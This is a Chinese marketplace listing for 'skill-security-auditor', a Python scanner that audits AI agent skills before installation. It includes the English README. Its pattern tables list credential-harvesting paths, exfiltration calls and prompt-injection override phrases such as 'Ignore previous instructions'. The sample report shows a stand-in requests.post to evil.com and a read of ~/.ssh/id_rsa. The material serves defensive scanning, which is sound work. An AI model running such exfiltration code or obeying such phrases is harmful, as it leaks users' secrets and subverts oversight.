安全审计
- 作者仓库星标 15,974
- 作者更新于 实时读取
- 作者仓库 claude-skills
- 领域
- 安全
- 兼容 Agent
-
- Claude Code
- Cursor
- Cline
- Codex
- Windsurf
- Gemini CLI
- +20
- 信任分
- 88 / 100 · 社区维护
- 作者 / 版本 / 许可
- @alirezarezvani · 未声明 license
- Token 消耗评级
- 低消耗
- 接入复杂程度
- 需简单配置
- 是否需要外部 API Key
- 不需要
- 兼容的系统
- macOS · Linux · Windows
- 底层运行要求
- Python
- 文件与系统权限
-
- 只读
- Shell 执行
- 读取环境变量
- 允许写入 / 修改
- 网络行为
- 允许外网请求
- 安装命令数
- 26 条
档案由构建时根据 SKILL.md 与安装命令自动衍生,可能与作者实际意图存在差异。
需要注意: 未限定 allowed-tools,默认拥有全部工具权限。
---
name: skill-security-auditor
description: > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS /…
category: 安全
runtime: Python
---
# skill-security-auditor 输出预览
## PART A: 任务判断
- 适用问题:安全审计、密钥扫描、权限检查或风险分析。
- 输入要求:目标材料、限制条件、期望输出和验收方式。
- 证据边界:围绕“Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)”读取原文规则,不把推断写成作者承诺。
## PART B: 执行结果
- **01** 任务判断:确认你的需求是否属于安全审计、密钥扫描、权限检查或风险分析,并标出输入、限制和预期结果。
- **02** 执行计划:优先按“Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)”拆成步骤,说明每一步会读取什么、修改什么、产出什么。
- **03** 交付结果:给出可复制的命令、文件改动、检查清单或内容草稿,并说明如何继续迭代。
- **04** 风险边界:结合 读取文件、执行终端命令、读取环境变量、写入/修改文件、会按任务需要访问外部网络、通常不需要额外 API Key 给出执行前确认项。
## Running Rules
- 读取文件、执行终端命令、读取环境变量、写入/修改文件;会按任务需要访问外部网络;通常不需要额外 API Key。
- 先小样例验证,再放大到真实任务。
- 交付时同时给结果、检查口径和下一步迭代建议。 原文出现了 `/path`、`/etc` 这类斜杠命令;如果你的 Agent 支持命令触发,优先用命令开场,再补充目标和边界。
告诉 Agent 目标文件或材料、期望结果、不可改范围、是否允许联网或执行命令。本 Skill 的权限画像是:读取文件、执行终端命令、读取环境变量、写入/修改文件。
先用一个小任务确认它会围绕“Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)”工作;涉及文件或命令时,先看 diff、日志、预览或测试结果。
检查最终产物是否包含明确结果、必要证据和下一步动作;如果输出泛泛而谈,就补充输入、边界和验收标准后重跑。
---
name: skill-security-auditor
description: > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS /…
category: 安全
source: alirezarezvani/claude-skills
---
# skill-security-auditor
## 什么时候使用
- 把安全方向的常用动作沉淀成 Agent 可调用的技能 适合处理安全审计、密钥扫描、权限检查和风险分析,核心价值是把输入、判断、执行、验证和交付边界固定下来,避免 Agent 泛泛回答。 把任务拆成可执行、可检查、可继续迭代的步骤;通常不…
- 面向安全审计、密钥扫描、权限检查或风险分析,优先处理能明确输入、步骤和验收标准的工作。
## 需要提供什么
- 目标材料、目录范围、期望结果和不可改动内容。
- 是否允许联网、执行命令、读写文件或调用外部服务。
## 执行规则
- 围绕「Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)」组织步骤,不把推断写成作者事实。
- 读取文件、执行终端命令、读取环境变量、写入/修改文件;会按任务需要访问外部网络;通常不需要额外 API Key。
- 先跑小样例,确认结果可检查后再扩大任务范围。
## 输出要求
- 给出最终产物、关键证据、验证方式和下一步动作。
- 信息不足时标记 unknown,不编造命令、平台或依赖。 作者原文负责流程事实;仓库文件负责来源和命令;流狐只补充适用场景、限制和质量判断。
skill "skill-security-auditor" {
输入层 -> 用户目标 + 目标文件 + 禁止范围 + 验收标准
上下文层 -> Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)
规则层 -> SKILL.md 触发条件 / 执行顺序 / 输出格式
运行层 -> Python | 读取文件、执行终端命令、读取环境变量、写入/修改文件 | 会按任务需要访问外部网络
安全层 -> 通常不需要额外 API Key + 小任务验证 + diff / 日志复核
输出层 -> 可复制结果 + 检查清单 + 下一步迭代
} Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity |
|---|---|---|
| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution |
🔴 CRITICAL |
| Code execution | eval(), exec(), compile(), __import__() |
🔴 CRITICAL |
| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains |
🔴 CRITICAL |
| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp |
🔴 CRITICAL |
| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns |
🔴 CRITICAL |
| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation |
🟡 HIGH |
| Privilege escalation | sudo, chmod 777, setuid, cron manipulation |
🔴 CRITICAL |
| Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() |
🟡 HIGH |
| Subprocess (safe) | subprocess.run() with list args, no shell |
⚪ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity |
|---|---|---|
| System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |
| Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |
| Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |
| Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH |
| Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity |
|---|---|---|
| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) |
🟡 HIGH |
| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 |
⚪ INFO |
| Install commands in code | pip install or npm install inside scripts |
🟡 HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |
4. File System & Structure
| Check | What It Does | Severity |
|---|---|---|
| Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH |
| Hidden files | .env, dotfiles that shouldn't be in a skill |
🟡 HIGH |
| Binary files | Unexpected executables, .so, .dll, .exe |
🔴 CRITICAL |
| Large files | Files >1MB that could hide payloads | ⚪ INFO |
| Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
Reading the Report
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
先判断是否适合
作者设计意图
作者的方法与取舍
边界和复核